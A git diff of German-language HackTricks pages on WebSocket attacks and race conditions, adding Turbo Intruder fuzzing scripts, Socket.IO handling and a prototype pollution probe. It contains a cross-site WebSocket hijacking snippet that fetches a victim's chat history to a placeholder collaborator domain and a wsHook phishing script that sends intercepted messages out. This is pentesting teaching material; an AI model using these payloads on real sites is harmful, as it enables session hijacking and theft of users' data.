+- Mit Burp’s WebSocket Turbo Intruder können Sie die **THREADED**-Engine verwenden, um mehrere WS-Verbindungen zu starten und Payloads parallel zu senden. Starten Sie mit dem offiziellen Beispiel und passen Sie `config()` (Thread-Anzahl) für die Parallelität an; dies ist oft zuverlässiger als das Bündeln auf einer einzigen Verbindung, wenn serverseitiger Zustand über WS-Handler geraced wird. Siehe [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
 
-## Referenzen
+## References
 
 - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
 - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@@ -380,5 +382,8 @@ In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC
 - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
 - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/websocket-attacks.md

@@ -4,19 +4,19 @@
 
 ## Was sind WebSockets
 
-WebSocket-Verbindungen werden durch einen initialen **HTTP**-Handshake hergestellt und sind darauf ausgelegt, **langfristig** zu bestehen, was bidirektionale Nachrichtenübermittlung zu jeder Zeit ohne die Notwendigkeit eines transaktionalen Systems ermöglicht. Dies macht WebSockets besonders vorteilhaft für Anwendungen, die **geringe Latenz oder serverinitiierte Kommunikation** erfordern, wie z.B. Live-Finanzdatenströme.
+WebSocket-Verbindungen werden durch einen initialen **HTTP**-Handshake hergestellt und sind dafür ausgelegt, **dauerhaft** zu bestehen, sodass bidirektionale Nachrichtenübermittlung jederzeit möglich ist, ohne ein transaktionales System zu benötigen. Dadurch sind WebSockets besonders vorteilhaft für Anwendungen, die **geringe Latenz oder vom Server initiierte Kommunikation** erfordern, wie z. B. Live-Finanzdaten-Streams.
 
-### Einrichtung von WebSocket-Verbindungen
+### Aufbau von WebSocket-Verbindungen
 
-Eine detaillierte Erklärung zur Einrichtung von WebSocket-Verbindungen kann [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) aufgerufen werden. Zusammenfassend werden WebSocket-Verbindungen normalerweise über clientseitiges JavaScript initiiert, wie unten gezeigt:
+Eine detaillierte Erklärung zum Aufbau von WebSocket-Verbindungen finden Sie [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Zusammenfassend werden WebSocket-Verbindungen üblicherweise über clientseitiges JavaScript initiiert, wie unten gezeigt:
 ```javascript
 var ws = new WebSocket("wss://normal-website.com/ws")
 ```
-Das `wss`-Protokoll bezeichnet eine WebSocket-Verbindung, die mit **TLS** gesichert ist, während `ws` eine **unsichere** Verbindung anzeigt.
+Das `wss`-Protokoll kennzeichnet eine WebSocket-Verbindung, die mit **TLS** gesichert ist, während `ws` eine **ungesicherte** Verbindung anzeigt.
 
-Während der Verbindungsherstellung wird ein Handshake zwischen dem Browser und dem Server über HTTP durchgeführt. Der Handshake-Prozess umfasst das Senden einer Anfrage durch den Browser und die Antwort des Servers, wie in den folgenden Beispielen dargestellt:
+Während der Verbindungsherstellung wird zwischen Browser und Server über HTTP ein Handshake durchgeführt. Der Handshake-Prozess besteht darin, dass der Browser eine Anfrage sendet und der Server antwortet, wie in den folgenden Beispielen dargestellt:
 
-Der Browser sendet eine Handshake-Anfrage:
+Browser sendet eine Handshake-Anfrage:
 ```javascript
 GET /chat HTTP/1.1
 Host: normal-website.com
@@ -26,88 +26,205 @@ Connection: keep-alive, Upgrade
 Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
 Upgrade: websocket
 ```
-Server-Antwort auf das Handshake:
+Server-Handshake-Antwort:
 ```javascript
 HTTP/1.1 101 Switching Protocols
 Connection: Upgrade
 Upgrade: websocket
 Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
 ```
-Die Verbindung bleibt nach der Herstellung für den Nachrichtenaustausch in beide Richtungen offen.
+Sobald die Verbindung hergestellt ist, bleibt sie offen, sodass Nachrichten in beide Richtungen ausgetauscht werden können.
 
 **Wichtige Punkte des WebSocket-Handshakes:**
 
-- Die `Connection`- und `Upgrade`-Header signalisieren den Beginn eines WebSocket-Handshakes.
-- Der `Sec-WebSocket-Version`-Header gibt die gewünschte WebSocket-Protokollversion an, normalerweise `13`.
-- Ein Base64-kodierter zufälliger Wert wird im `Sec-WebSocket-Key`-Header gesendet, um sicherzustellen, dass jeder Handshake einzigartig ist, was hilft, Probleme mit Caching-Proxys zu vermeiden. Dieser Wert dient nicht der Authentifizierung, sondern um zu bestätigen, dass die Antwort nicht von einem falsch konfigurierten Server oder Cache generiert wurde.
-- Der `Sec-WebSocket-Accept`-Header in der Serverantwort ist ein Hash des `Sec-WebSocket-Key`, der die Absicht des Servers verifiziert, eine WebSocket-Verbindung zu öffnen.
+- Die Header `Connection` und `Upgrade` signalisieren den Beginn eines WebSocket-Handshakes.
+- Der Header `Sec-WebSocket-Version` gibt die gewünschte WebSocket-Protokollversion an, üblicherweise `13`.
+- Ein in Base64 codierter Zufallswert wird im Header `Sec-WebSocket-Key` gesendet, wodurch jeder Handshake eindeutig ist; das hilft, Probleme mit Caching-Proxies zu vermeiden. Dieser Wert dient nicht zur Authentifizierung, sondern zur Bestätigung, dass die Antwort nicht von einem falsch konfigurierten Server oder Cache erzeugt wurde.
+- Der Header `Sec-WebSocket-Accept` in der Serverantwort ist ein Hash des `Sec-WebSocket-Key` und bestätigt die Absicht des Servers, eine WebSocket-Verbindung zu öffnen.
 
-Diese Merkmale stellen sicher, dass der Handshake-Prozess sicher und zuverlässig ist und den Weg für eine effiziente Echtzeitkommunikation ebnet.
+Diese Eigenschaften stellen sicher, dass der Handshake-Prozess sicher und zuverlässig ist und den Weg für effiziente Echtzeitkommunikation ebnet.
 
 ### Linux-Konsole
 
-Sie können `websocat` verwenden, um eine rohe Verbindung mit einem Websocket herzustellen.
+Du kannst `websocat` verwenden, um eine rohe Verbindung zu einem WebSocket herzustellen.
 ```bash
 websocat --insecure wss://10.10.10.10:8000 -v
 ```
-Oder um einen websocat-Server zu erstellen:
+Oder um einen websocat server zu erstellen:
 ```bash
 websocat -s 0.0.0.0:8000 #Listen in port 8000
 ```
 ### MitM websocket-Verbindungen
 
-Wenn Sie feststellen, dass Clients von Ihrem aktuellen lokalen Netzwerk aus mit einem **HTTP websocket** verbunden sind, könnten Sie einen [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)versuchen, um einen MitM-Angriff zwischen dem Client und dem Server durchzuführen.\
-Sobald der Client versucht, sich zu verbinden, können Sie dann Folgendes verwenden:
+Wenn du feststellst, dass Clients von deinem aktuellen lokalen Netzwerk mit einem **HTTP websocket** verbunden sind, könntest du einen [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) versuchen, um einen MitM attack zwischen dem client und dem server durchzuführen.\
+Sobald der client versucht, sich mit dir zu verbinden, kannst du dann verwenden:
 ```bash
 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 ```
-### Websockets Enumeration
+### Websockets-Aufklärung
 
-Sie können das **Tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **verwenden, um automatisch bekannte** **Schwachstellen** in Websockets zu entdecken, zu identifizieren und zu suchen.
+Du kannst das **Tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) verwenden, um automatisch websockets zu entdecken, zu fingerprinten und nach bekannten **vulnerabilities** zu suchen.
 
-### Websocket Debug Tools
+### Websocket Debug-Tools
 
-- **Burp Suite** unterstützt MitM-Websockets-Kommunikation auf eine sehr ähnliche Weise, wie es für reguläre HTTP-Kommunikation der Fall ist.
-- Die [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite-Erweiterung** ermöglicht es Ihnen, Websocket-Kommunikationen in Burp besser zu verwalten, indem Sie die **Historie** abrufen, **Abfangregeln** festlegen, **Match- und Ersetzungsregeln** verwenden, **Intruder** und **AutoRepeater** nutzen.
-- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Kurz für "**WebSocket/Socket.io Proxy**", dieses Tool, geschrieben in Node.js, bietet eine Benutzeroberfläche, um **Nachrichten zu erfassen, abzufangen, benutzerdefinierte** Nachrichten zu senden und alle WebSocket- und Socket.IO-Kommunikationen zwischen dem Client und dem Server anzuzeigen.
-- [**wsrepl**](https://github.com/doyensec/wsrepl) ist ein **interaktives Websocket REPL**, das speziell für Penetrationstests entwickelt wurde. Es bietet eine Schnittstelle zur Beobachtung **eingehender Websocket-Nachrichten und zum Senden neuer**, mit einem benutzerfreundlichen Framework zur **Automatisierung** dieser Kommunikation.
-- [**https://websocketking.com/**](https://websocketking.com/) ist eine **Webanwendung zur Kommunikation** mit anderen Webseiten über **Websockets**.
-- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) bietet unter anderem eine **Webanwendung zur Kommunikation** mit anderen Webseiten über **Websockets.**
+- **Burp Suite** unterstützt MitM websockets communication auf sehr ähnliche Weise wie bei regulärer HTTP-Kommunikation.
+- Die [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** ermöglicht eine bessere Verwaltung von Websocket communications in Burp, indem sie die **history** erfasst, **interception rules** setzt, **match and replace** Regeln verwendet sowie **Intruder** und **AutoRepeater** nutzt.
+- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Kurz für "**WebSocket/Socket.io Proxy**", dieses Tool, geschrieben in Node.js, bietet eine Benutzeroberfläche zum **capture, intercept, send custom** messages und zur Anzeige aller WebSocket- und Socket.IO-Kommunikationen zwischen Client und Server.
+- [**wsrepl**](https://github.com/doyensec/wsrepl) ist ein **interactive websocket REPL**, speziell für pentesting entwickelt. Es bietet eine Schnittstelle zum Beobachten **incoming websocket messages and sending new ones**, mit einem benutzerfreundlichen Framework zur **automating** dieser Kommunikation.
+- [**https://websocketking.com/**](https://websocketking.com/) ist eine Weboberfläche, um mit anderen Seiten über **websockets** zu kommunizieren.
+- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) bietet neben anderen Kommunikationsarten/Protokollen eine Weboberfläche, um mit anderen Seiten über **websockets** zu kommunizieren.
 
-## Decrypting Websocket
+## Websocket entschlüsseln
 
 - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
 - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
 
-## Websocket Lab
+## Websocket-Lab
 
-In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) haben Sie einen Code, um eine Webseite mit Websockets zu starten, und in [**diesem Beitrag**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) finden Sie eine Erklärung.
+Im [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) findest du Code, um eine Webanwendung mit websockets zu starten, und in [**diesem Beitrag**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) eine Erklärung dazu.
 
 ## Websocket Fuzzing
 
-Die Burp-Erweiterung [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) ermöglicht jetzt auch das Fuzzing von WebSocket-Nachrichten. Sie können mehr Informationen dazu [**hier**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) lesen.
+Die Burp-Erweiterung [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) erlaubt jetzt auch das Fuzzing von WebSocket-Nachrichten. Mehr Informationen dazu findest du [**hier**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
 
-## Cross-Site WebSocket Hijacking (CSWSH)
+### WebSocket Turbo Intruder (Burp extension)
 
-**Cross-Site WebSocket Hijacking**, auch bekannt als **Cross-Origin WebSocket Hijacking**, wird als ein spezifischer Fall von **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** identifiziert, der WebSocket-Handshakes betrifft. Diese Schwachstelle tritt auf, wenn WebSocket-Handshakes ausschließlich über **HTTP-Cookies** authentifiziert werden, ohne **CSRF-Token** oder ähnliche Sicherheitsmaßnahmen.
+PortSwiggers WebSocket Turbo Intruder bringt Turbo Intruder–artigen Python-Scripting und High‑Rate-Fuzzing zu WebSockets. Installiere es aus dem BApp Store oder aus dem Source. Es enthält zwei Komponenten:
 
-Angreifer können dies ausnutzen, indem sie eine **bösartige Webseite** hosten, die eine Cross-Site-WebSocket-Verbindung zu einer verwundbaren Anwendung initiiert. Folglich wird diese Verbindung als Teil der Sitzung des Opfers mit der Anwendung behandelt, wodurch die fehlende CSRF-Schutzmaßnahme im Sitzungsmanagement ausgenutzt wird.
+- Turbo Intruder: High‑volume messaging zu einem einzelnen WS-Endpunkt unter Verwendung custom engines.
+- HTTP Middleware: stellt einen lokalen HTTP-Endpunkt bereit, der Bodies als WS-Nachrichten über eine persistente Verbindung weiterleitet, sodass jeder HTTP‑basierte Scanner WS-Backends prüfen kann.
 
-Damit dieser Angriff funktioniert, sind folgende Anforderungen erforderlich:
+Grundlegendes Skriptmuster, um einen WS-Endpunkt zu fuzzen und relevante Antworten zu filtern:
+```python
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(upgrade_request)
+for i in range(10):
+connection.queue(message, str(i))
 
-- Die Websocket-**Authentifizierung muss cookie-basiert sein**
-- Das Cookie muss vom Server des Angreifers zugänglich sein (das bedeutet normalerweise **`SameSite=None`**) und es dürfen keine **Firefox Total Cookie Protection** in Firefox aktiviert sein und keine **blockierten Drittanbieter-Cookies** in Chrome.
-- Der Websocket-Server darf den Ursprung der Verbindung nicht überprüfen (oder dies muss umgehbar sein)
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
 
-Außerdem:
+@MatchRegex(r'{\"user\":\"Hal Pline\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+Verwende Dekoratoren wie `@MatchRegex(...)`, um Rauschen zu reduzieren, wenn eine einzelne Nachricht mehrere Antworten auslöst.
 
-- Wenn die Authentifizierung auf einer lokalen Verbindung (zu localhost oder zu einem lokalen Netzwerk) basiert, wird der Angriff **möglich sein**, da derzeit kein Schutz dies verbietet (siehe [mehr Informationen hier](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
+### WS hinter HTTP vermitteln (HTTP Middleware)
 
-### Einfacher Angriff
+Kapsle eine persistente WS-Verbindung und leite HTTP-Bodies als WS-Nachrichten weiter für automatisierte Tests mit HTTP-Scannern:
+```python
+def create_connection(upgrade_request):
+connection = websocket_connection.create(upgrade_request)
+return connection
 
-Beachten Sie, dass beim **Herstellen** einer **Websocket**-Verbindung das **Cookie** an den Server **gesendet** wird. Der **Server** könnte es verwenden, um jeden **spezifischen** **Benutzer** mit seiner **Websocket**-**Sitzung basierend auf dem gesendeten Cookie** zu **verknüpfen**.
+@MatchRegex(r'{\"user\":\"You\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+Sende dann lokal HTTP; der body wird als WS-Nachricht weitergeleitet:
+```http
+POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
+Host: 127.0.0.1:9000
+Content-Length: 16
 
-Wenn der **Websocket**-**Server** beispielsweise die **Historie der Konversation** eines Benutzers zurücksendet, wenn eine Nachricht mit "**READY"** gesendet wird, dann kann ein **einfaches XSS**, das die Verbindung herstellt (das **Cookie** wird **automatisch** gesendet, um den Benutzer des Opfers zu autorisieren), **"READY"** senden und die Historie der **Konversation** abrufen.
+{"message":"hi"}
+```
+Das ermöglicht es dir, WS-Backends anzusteuern, während du nach „interessanten“ Events filterst (z. B. SQLi-Fehler, auth bypass, command injection-Verhalten).
+
+### Socket.IO handling (handshake, heartbeats, events)
+
+Socket.IO fügt eine eigene Framing-Schicht über WS hinzu. Erkenne es über den obligatorischen Query-Parameter `EIO` (z. B. `EIO=4`). Halte die Session mit Ping (`2`) und Pong (`3`) am Leben und starte die Unterhaltung mit `"40"`, dann emit events like `42["message","hello"]`.
+
+Intruder example:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.queue('42["message","hello"]')
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+HTTP-Adapter-Variante:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def create_connection(upgrade_request):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.decIn()
+return connection
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+### Erkennen von serverseitiger prototype pollution über Socket.IO
+
+Folge PortSwigger’s sicherer Detektionstechnik und versuche, die Interna von Express zu verschmutzen, indem du eine Nutzlast wie folgt sendest:
+```json
+{"__proto__":{"initialPacket":"Polluted"}}
+```
+Wenn Greetings oder Verhalten sich ändern (z. B. echo enthält "Polluted"), haben Sie wahrscheinlich serverseitige prototype pollution verursacht. Die Auswirkungen hängen von erreichbaren sinks ab; korrelieren Sie mit den gadgets im Node.js prototype pollution-Abschnitt. Siehe:
+
+- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
+
+### WebSocket race conditions mit Turbo Intruder
+
+Die Default-Engine bündelt Nachrichten auf einer Verbindung (guter Durchsatz, schlecht für races). Verwenden Sie die THREADED engine, um mehrere WS-Verbindungen zu spawnen und Payloads parallel abzuschießen, um logische Races (double‑spend, token reuse, state desync) auszulösen. Starten Sie mit dem Beispielskript und passen Sie die concurrency in `config()` an.
+
+- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
+
+### WebSocket DoS: malformed frame “Ping of Death”
+
+Erzeugen Sie WS-Frames, deren Header eine sehr große Payload-Länge angibt, aber keinen Body senden. Manche WS-Server vertrauen der Länge und pre‑allocaten Buffers; das Setzen nahe `Integer.MAX_VALUE` kann zu Out‑Of‑Memory und einem remote unauth DoS führen. Siehe das Beispielskript.
+
+### CLI and debugging
+
+- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
+- Aktivieren Sie den WS Logger, um Nachrichten mit internen IDs zu erfassen und zu korrelieren.
+- Verwenden Sie `inc*`/`dec*`-Hilfen auf `Connection`, um das Message-ID-Handling in komplexen Adaptern anzupassen.
+- Dekoratoren wie `@PingPong`/`@Pong` und Helfer wie `isInteresting()` reduzieren Rauschen und halten Sessions am Leben.
+
+### Operational safety
+
+Hochfrequentes WS-Fuzzing kann viele Verbindungen öffnen und Tausende Nachrichten pro Sekunde senden. Fehlerhafte Frames und hohe Raten können echten DoS verursachen. Verwenden Sie es nur dort, wo es erlaubt ist.
+
+## Cross-site WebSocket hijacking (CSWSH)
+
+**Cross-site WebSocket hijacking**, auch bekannt als **cross-origin WebSocket hijacking**, wird als spezifischer Fall von **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** angesehen, der WebSocket-Handshakes betrifft. Diese Schwachstelle entsteht, wenn WebSocket-Handshakes ausschließlich über **HTTP cookies** authentifizieren, ohne **CSRF tokens** oder ähnliche Schutzmaßnahmen.
+
+Angreifer können dies ausnutzen, indem sie eine bösartige Webseite hosten, die eine Cross-Site-WebSocket-Verbindung zu einer verwundbaren Anwendung initiiert. Folglich wird diese Verbindung als Teil der Sitzung des Opfers mit der Anwendung behandelt, wodurch das Fehlen von CSRF-Schutz im Session-Handling ausgenutzt wird.
+
+Damit dieser Angriff funktioniert, sind folgende Voraussetzungen erforderlich:
+
+- Die websocket **Authentifizierung muss cookie-basiert sein**
+- Das Cookie muss vom Server des Angreifers zugänglich sein (das bedeutet üblicherweise **`SameSite=None`**) und es darf keine **Firefox Total Cookie Protection** in Firefox aktiviert sein und keine **blocked third-party cookies** in Chrome.
+- Der websocket-Server darf die Origin der Verbindung nicht prüfen (oder dies muss umgehbar sein)
+
+Auch:
+
+- Wenn die Authentifizierung auf einer lokalen Verbindung (zu localhost oder zu einem lokalen Netzwerk) basiert, wird der Angriff **will be possible**, da kein derzeitiger Schutz ihn verhindert (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
+
+### Simple Attack
+
+Beachten Sie, dass beim **establishing** einer **websocket**-Verbindung das **cookie** an den Server **sent** wird. Der **server** könnte es verwenden, um jeden **specific** **user** mit seiner **websocket** **session based on the sent cookie** zu verknüpfen.
+
+Wenn zum **example** der **websocket** **server** **sends back the history of the conversation** eines Benutzers, wenn eine msg mit "**READY**" gesendet wird, dann kann ein **simple XSS**, das die Verbindung herstellt (das **cookie** wird **sent** **automatically**, um den Opfer-Benutzer zu autorisieren), durch das **sending** "**READY**" in der Lage sein, die History der **conversation** abzurufen.:
 ```html
 <script>
 websocket = new WebSocket('wss://your-websocket-URL')
@@ -122,13 +239,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
 }
 </script>
 ```
-### Cross Origin + Cookie mit einem anderen Subdomain
+### Cross Origin + Cookie with a different subdomain
 
-In diesem Blogbeitrag [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) gelang es dem Angreifer, **willkürliches Javascript in einem Subdomain** der Domain auszuführen, in der die Websocket-Kommunikation stattfand. Da es sich um ein **Subdomain** handelte, wurde das **Cookie** **gesendet**, und da der **Websocket die Origin nicht richtig überprüfte**, war es möglich, mit ihm zu kommunizieren und **Tokens von ihm zu stehlen**.
+In diesem Blogpost [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) gelang es dem Angreifer, **beliebiges Javascript in einer subdomain** der Domain auszuführen, in der die websocket-Kommunikation stattfand. Da es sich um eine **subdomain** handelte, wurde das **cookie** **gesendet**, und weil der **Websocket die Origin nicht richtig prüfte**, war es möglich, mit ihm zu kommunizieren und **tokens zu stehlen**.
 
-### Daten von Benutzern stehlen
+### Stealing data from user
 
-Kopiere die Webanwendung, die du nachahmen möchtest (die .html-Dateien zum Beispiel), und füge in das Skript, in dem die Websocket-Kommunikation stattfindet, diesen Code hinzu:
+Kopiere die Webanwendung, die du vortäuschen möchtest (z. B. die .html-Dateien) und füge innerhalb des Skripts, in dem die websocket-Kommunikation stattfindet, diesen Code ein:
 ```javascript
 //This is the script tag to load the websocket hooker
 ;<script src="wsHook.js"></script>
@@ -148,43 +265,51 @@ xhttp.send()
 return messageEvent
 }
 ```
-Laden Sie die `wsHook.js`-Datei von [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) herunter und **speichern Sie sie im Ordner mit den Webdateien**.\
-Durch das Bereitstellen der Webanwendung und das Herstellen einer Verbindung eines Benutzers damit, können Sie die über Websocket gesendeten und empfangenen Nachrichten stehlen:
+Jetzt lade die Datei `wsHook.js` von [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) herunter und **speichere sie im Ordner mit den Web-Dateien**.\
+Wenn die Webanwendung exponiert ist und ein Benutzer sich verbindet, kannst du die gesendeten und empfangenen Nachrichten via websocket stehlen:
 ```javascript
 sudo python3 -m http.server 80
 ```
-### CSWSH-Schutzmaßnahmen
+### CSWSH Schutzmaßnahmen
 
-Der CSWSH-Angriff basiert auf der Tatsache, dass ein **Benutzer sich mit einer bösartigen Seite verbindet**, die eine **Websocket-Verbindung** zu einer Webseite öffnet, mit der der Benutzer bereits verbunden ist, und sich als dieser authentifiziert, da die Anfrage die Cookies des Benutzers sendet.
+Der CSWSH-Angriff beruht darauf, dass sich ein **Benutzer mit einer bösartigen Seite verbindet**, die eine **websocket connection** zu einer Webseite öffnet, bei der der Benutzer bereits angemeldet ist, und sich als dieser authentifiziert, da die Anfrage die user's cookies sendet.
 
 Heutzutage ist es sehr einfach, dieses Problem zu verhindern:
 
-- **Websocket-Server überprüft den Ursprung**: Der Websocket-Server sollte immer überprüfen, von wo ein Benutzer sich verbindet, um zu verhindern, dass unerwartete Seiten eine Verbindung zu ihm herstellen.
-- **Authentifizierungstoken**: Anstatt die Authentifizierung auf einem Cookie zu basieren, könnte die Websocket-Verbindung auf einem Token basieren, das vom Server für den Benutzer generiert wird, das dem Angreifer unbekannt ist (wie ein Anti-CSRF-Token).
-- **SameSite-Cookie-Attribut**: Cookies mit dem `SameSite`-Wert `Lax` oder `Strict` werden von einer externen Angreiferseite nicht an den Opferserver gesendet, daher wird die cookie-basierte Authentifizierung nicht erfolgreich sein. Beachten Sie, dass Chrome jetzt den Wert **`Lax`** für Cookies ohne dieses Flag festlegt, was dies standardmäßig sicherer macht. Obwohl das erste 2 Minuten, nachdem ein Cookie erstellt wurde, der Wert **`None`** sein wird, was es während dieses begrenzten Zeitraums anfällig macht (es wird auch erwartet, dass diese Maßnahme irgendwann entfernt wird).
-- **Firefox Total Cookie Protection**: Total Cookie Protection funktioniert, indem Cookies auf die Seite isoliert werden, auf der sie erstellt wurden. Im Wesentlichen hat jede Seite ihren eigenen Cookie-Speicherpartition, um zu verhindern, dass Dritte die Browserverlauf eines Benutzers miteinander verknüpfen. Dies macht **CSWSH unbrauchbar**, da die Angreiferseite keinen Zugriff auf die Cookies hat.
-- **Chrome-Drittanbieter-Cookies blockieren**: Dies könnte auch verhindern, dass das Cookie des authentifizierten Benutzers an den Websocket-Server gesendet wird, selbst wenn `SameSite=None` gesetzt ist.
+- **Websocket server checking the origin**: Der websocket server sollte immer prüfen, von wo sich ein Benutzer verbindet, um zu verhindern, dass unerwartete Seiten eine Verbindung zu ihm herstellen.
+- **Authentication token**: Anstatt die Authentifizierung auf einem cookie zu basieren, könnte die websocket connection auf einem token basieren, das vom Server für den Benutzer erzeugt wird und dem Angreifer unbekannt ist (z. B. ein anti-CSRF token).
+- **SameSite Cookie-Attribut**: Cookies mit dem `SameSite`-Wert `Lax` oder `Strict` werden von einer externen Angreiferseite nicht an den Zielserver gesendet; daher wird eine auf cookies basierende Authentifizierung nicht erfolgreich sein. Beachte, dass Chrome jetzt standardmäßig den Wert **`Lax`** für Cookies setzt, bei denen dieses Flag nicht angegeben ist, wodurch sie standardmäßig sicherer werden. Allerdings haben Cookies in den ersten 2 Minuten nach ihrer Erstellung den Wert **`None`**, wodurch sie in diesem begrenzten Zeitraum verwundbar sind (es wird erwartet, dass diese Maßnahme irgendwann entfernt wird).
+- **Firefox Total Cookie Protection**: Total Cookie Protection isoliert cookies auf der Site, auf der sie erstellt werden. Im Grunde hat jede Site ihre eigene Cookie-Speicherpartition, um zu verhindern, dass Dritte den Browserverlauf eines Nutzers verknüpfen. Dadurch wird **CSWSH unbrauchbar**, da die Angreiferseite keinen Zugriff auf die cookies hat.
+- **Chrome third-party cookies block**: Dies kann außerdem verhindern, dass das cookie des authentifizierten Benutzers an den websocket server gesendet wird, selbst wenn `SameSite=None` gesetzt ist.
 
 ## Race Conditions
 
-Race Conditions in WebSockets sind ebenfalls ein Thema, [prüfen Sie diese Informationen, um mehr zu erfahren](race-condition.md#rc-in-websockets).
+Race Conditions in WebSockets sind ebenfalls möglich, [siehe diese Information, um mehr zu erfahren](race-condition.md#rc-in-websockets).
 
 ## Andere Schwachstellen
 
-Da Web Sockets ein Mechanismus sind, um **Daten an die Server- und Client-Seite zu senden**, können Web Sockets, je nachdem, wie der Server und der Client die Informationen behandeln, **genutzt werden, um mehrere andere Schwachstellen wie XSS, SQLi oder andere gängige Web-Schwachstellen auszunutzen, indem Eingaben eines Benutzers über einen Websocket verwendet werden.**
+Da Web Sockets ein Mechanismus sind, um **Daten an Server- und Client-Seite zu senden**, können abhängig davon, wie Server und Client die Informationen verarbeiten, **Web Sockets verwendet werden, um mehrere andere Schwachstellen auszunutzen**, wie XSS, SQLi oder andere übliche Web-Vulnerabilities, indem Eingaben eines Benutzers über eine websocket verwendet werden.
 
 ## **WebSocket Smuggling**
 
-Diese Schwachstelle könnte es Ihnen ermöglichen, **Einschränkungen von Reverse-Proxys zu umgehen**, indem Sie sie glauben lassen, dass eine **Websocket-Kommunikation hergestellt wurde** (auch wenn das nicht wahr ist). Dies könnte einem Angreifer ermöglichen, **auf versteckte Endpunkte zuzugreifen**. Für weitere Informationen überprüfen Sie die folgende Seite:
